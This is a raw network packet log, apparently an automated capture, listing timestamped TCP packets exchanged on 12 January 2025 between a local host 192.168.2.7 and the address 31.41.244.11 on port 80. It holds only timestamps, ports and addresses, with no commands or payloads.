Jan 12, 2025 17:39:11.952351093 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.952351093 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.952352047 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.952403069 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.952451944 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.952480078 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.952480078 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.952486038 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.952508926 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.952522993 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.952533960 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.952568054 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.952600956 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.952627897 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.952627897 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.952650070 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.952658892 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.952683926 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.952699900 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.952718019 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.952733994 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.952749968 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.952790022 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.952815056 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.952815056 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.952822924 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.952856064 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.952860117 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.952887058 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.952899933 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.952899933 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.952919960 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.952953100 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.952987909 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.952987909 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.953003883 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.953003883 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.953131914 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.953134060 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.953166962 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.953203917 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.953210115 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.953210115 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.953238010 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.953268051 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.953269005 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.953300953 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.953305006 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.953320980 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.953332901 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.953366995 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.953398943 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.953409910 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.953409910 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.953409910 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.953430891 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.953464985 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.953496933 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.953511953 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.953511953 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.953511953 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.953527927 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.953561068 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.953574896 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.953574896 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.953593016 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.953600883 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.953625917 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.953656912 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.953680992 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.953680992 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.953690052 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.953722954 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.953756094 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.953771114 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.953771114 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.953783989 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.953815937 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.953910112 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.008347034 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.008400917 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.008451939 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.008476973 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.008485079 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.008537054 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.008569956 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.008585930 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.008585930 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.008603096 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.008615971 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.008635044 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.008670092 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.008701086 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.008714914 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.008714914 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.008714914 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.008733034 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.008785009 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.008816957 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.008829117 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.008829117 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.008829117 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.008848906 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.008883953 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.008908033 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.008908033 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.008955956 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.008974075 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.009023905 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.009057999 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.009063005 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.009063005 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.009109020 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.009144068 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.009152889 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.009152889 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.009176970 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.009211063 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.009253025 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.009253979 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.009260893 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.009310961 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.009339094 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.009354115 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.009361029 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.009393930 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.009437084 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.009437084 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.009443998 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.009478092 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.009510994 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.009511948 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.009511948 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.009545088 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.009563923 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.009601116 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.009650946 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.009684086 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.009699106 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.009699106 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.009699106 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.009737968 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.009767056 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.009799004 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.009813070 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.009813070 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.009813070 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.009833097 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.009865999 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.009898901 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.009915113 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.009915113 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.009915113 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.009931087 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.009963989 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.009995937 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.010004044 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.010004044 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.010004044 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.010032892 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.010044098 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.010066032 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.010098934 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.010116100 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.010116100 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.010132074 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.010164976 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.010196924 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.010205984 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.010205984 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.010205984 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.010231018 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.010235071 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.010263920 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.010293961 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.010297060 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.010318995 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.010329962 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.010371923 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.010400057 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.010402918 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.010402918 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.010417938 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.010432005 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.010467052 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.010479927 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.010479927 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.010499001 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.010533094 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.010564089 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.010576963 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.010576963 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.010576963 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.010597944 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.010627031 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.010662079 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.037503958 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.037578106 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.037607908 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.037657976 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.037679911 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.037695885 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.037719011 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.037730932 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.037775993 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.037775993 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.037782907 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.037827969 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.037832022 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.037867069 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.037883043 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.037920952 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.037933111 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.037954092 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.037972927 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.037986040 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.038000107 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.038017988 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.038049936 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.038083076 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.038099051 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.038099051 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.038099051 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.038117886 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.038146973 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.038178921 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.038192987 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.038192987 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.038192987 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.038216114 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.038249016 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.038281918 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.038292885 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.038292885 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.038292885 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.038319111 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.038341045 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.038355112 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.038388968 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.038414001 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.038414001 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.038458109 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.038506031 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.038506031 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.038510084 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.038559914 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.038594007 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.038608074 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.038608074 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.038644075 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.038677931 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.038727999 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.038736105 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.038736105 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.038758993 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.038762093 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.038774014 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.038794994 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.038813114 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.038830042 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.038878918 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.038893938 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.038893938 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.038913012 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.038944006 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.038957119 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.038961887 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.038995028 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.039045095 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.039081097 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.039091110 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.039091110 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.039091110 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.039109945 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.039143085 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.039149046 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.039175987 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.039191008 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.039191008 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.039208889 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.039242983 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.039274931 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.039288998 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.039288998 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.039288998 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.039330959 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.039335012 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.039366007 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.039390087 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.039398909 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.039413929 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.039428949 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.039460897 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.039494038 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.039501905 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.039501905 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.039501905 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.039527893 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.039561987 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.039577961 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.039577961 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.039592981 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.039625883 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.039660931 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.039669991 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.039669991 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.039669991 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.039695024 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.039722919 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.039741993 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.039741993 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.039755106 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.039788961 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.039822102 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.039834976 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.039834976 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.039834976 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.039855003 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.039886951 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.039901018 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.039901018 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.039920092 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.039951086 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.040210009 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.094465017 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.094512939 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.094572067 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.094599009 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.094609022 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.094640970 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.094644070 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.094680071 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.094713926 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.094748974 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.094763994 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.094763994 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.094763994 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.094780922 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.094815969 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.094818115 CET	49975	80	192.168.2.7	31.41.244.11
